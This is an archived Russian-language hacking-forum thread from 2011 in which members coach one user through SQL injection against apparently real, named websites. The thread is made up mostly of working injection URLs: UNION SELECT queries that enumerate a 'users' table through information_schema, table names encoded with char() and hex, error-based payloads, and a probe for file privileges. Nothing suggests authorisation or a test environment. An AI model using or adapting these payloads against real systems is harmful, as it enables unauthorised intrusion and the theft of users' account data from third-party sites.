ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
14.03.2011, 15:17
|
|
Участник форума
Регистрация: 31.01.2010
Сообщений: 170
Провел на форуме:
1442841
Репутация:
63
|
|
Код:
Code:
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,?,4,5,6,7+from+users+limit+0,1--
не могу найти колонку с именем юзера |
|
|
14.03.2011, 15:20
|
|
Guest
Сообщений: n/a
Провел на форуме:
11371
Репутация:
0
|
|
Сообщение от Compton
Compton said:
Код:
Code:
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,?,4,5,6,7+from+users+limit+0,1--
не могу найти колонку с именем юзера information_schema доступна, в чём проблема?
|
|
|
|
14.03.2011, 15:24
|
|
Участник форума
Регистрация: 31.01.2010
Сообщений: 170
Провел на форуме:
1442841
Репутация:
63
|
|
Сообщение от baobabeng
baobabeng said:
information_schema доступна, в чём проблема?
Код:
Code:
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,column_name,4,5,6,7+from+information_schema.columns+where+table_name='users'--
или я что-то не так делаю?
|
|
|
|
14.03.2011, 15:28
|
|
Guest
Сообщений: n/a
Провел на форуме:
191387
Репутация:
6
|
|
Сообщение от Compton
Compton said:
Код:
Code:
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,column_name,4,5,6,7+from+information_schema.columns+where+table_name='users'--
или я что-то не так делаю? зачарь
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,group_concat(column_name),4,5, 6,7+from+information_schema.columns+where+table_na me=char(117,115,101,114,115)
users=char(117,115,101,114,115)
|
|
|
|
14.03.2011, 15:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
11371
Репутация:
0
|
|
Сообщение от Compton
Compton said:
Код:
Code:
http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,column_name,4,5,6,7+from+information_schema.columns+where+table_name='users'--
или я что-то не так делаю? http://www.vierkanteogen.nl/games/index.php?game_id=-51+union+select+1,2,column_name,4,5,6,7+from+infor mation_schema.columns+where+table_name=0x757365727 3--
|
|
|
|
14.03.2011, 19:26
|
|
Участник форума
Регистрация: 31.01.2010
Сообщений: 170
Провел на форуме:
1442841
Репутация:
63
|
|
при нахождении столбцов через order_by и последующей комбинации их с union select вылетаешь ошибка
Код:
Code:
The used SELECT statements have a different number of columns
что можно сделать? |
|
|
|
14.03.2011, 19:31
|
|
Guest
Сообщений: n/a
Провел на форуме:
34733
Репутация:
83
|
|
Сообщение от Compton
Compton said:
при нахождении столбцов через order_by и последующей комбинации их с union select вылетаешь ошибка
Код:
Code:
The used SELECT statements have a different number of columns
что можно сделать? 2 запроса. Крути через ошибку. Или линк сюда.
http://forum.antichat.net/thread43966.html последний пост от Scipio.
Через ошибку:
Код:
Code:
http://www.cosmeticsdatabase.com/brand.php?brand_id=987%20or%201%20group%20by%20concat((select%20version()),floor(rand(0)*2))%20having%20min(0)%20or%201%20--%201
С прямым выводом:
Код:
Code:
http://www.cosmeticsdatabase.com/ingredient.php?ingred06=-705545%20union%20select%201,2,3,4,5,6,7,8,version(),0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2+--+
Сообщение от XAMEHA
XAMEHA said:
Для начала надо сделать чтоб линк все видели:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.cosmeticsdatabase.com/brand.php?brand_id=987+union+select+1,2,3,4,5,6,7,8--
[/COLOR][/COLOR]
Жмешь "QUOTE" и смотришь что он там написал в теге
|
|
|
|
14.03.2011, 19:35
|
|
Участник форума
Регистрация: 31.01.2010
Сообщений: 170
Провел на форуме:
1442841
Репутация:
63
|
|
Сообщение от Фараон
Фараон said:
2 запроса. Крути через ошибку. Или линк сюда.
http://www.cosmeticsdatabase.com/brand.php?brand_id=987+union+select+1,2,3,4,5,6,7, 8--
|
|
|
|
14.03.2011, 19:40
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Для начала надо сделать чтоб линк все видели:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.cosmeticsdatabase.com/brand.php?brand_id=987+union+select+1,2,3,4,5,6,7,8--
[/COLOR][/COLOR]
|
|
|
|
14.03.2011, 22:30
|
|
Guest
Сообщений: n/a
Провел на форуме:
8829
Репутация:
-3
|
|
При проверке file_priv выдалось
SELECT command denied to user 'g4rt'@'localhost' for table 'user'
это типа в доступе к file_priv отказано, да?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|
Похожие темы
Комбинированный вид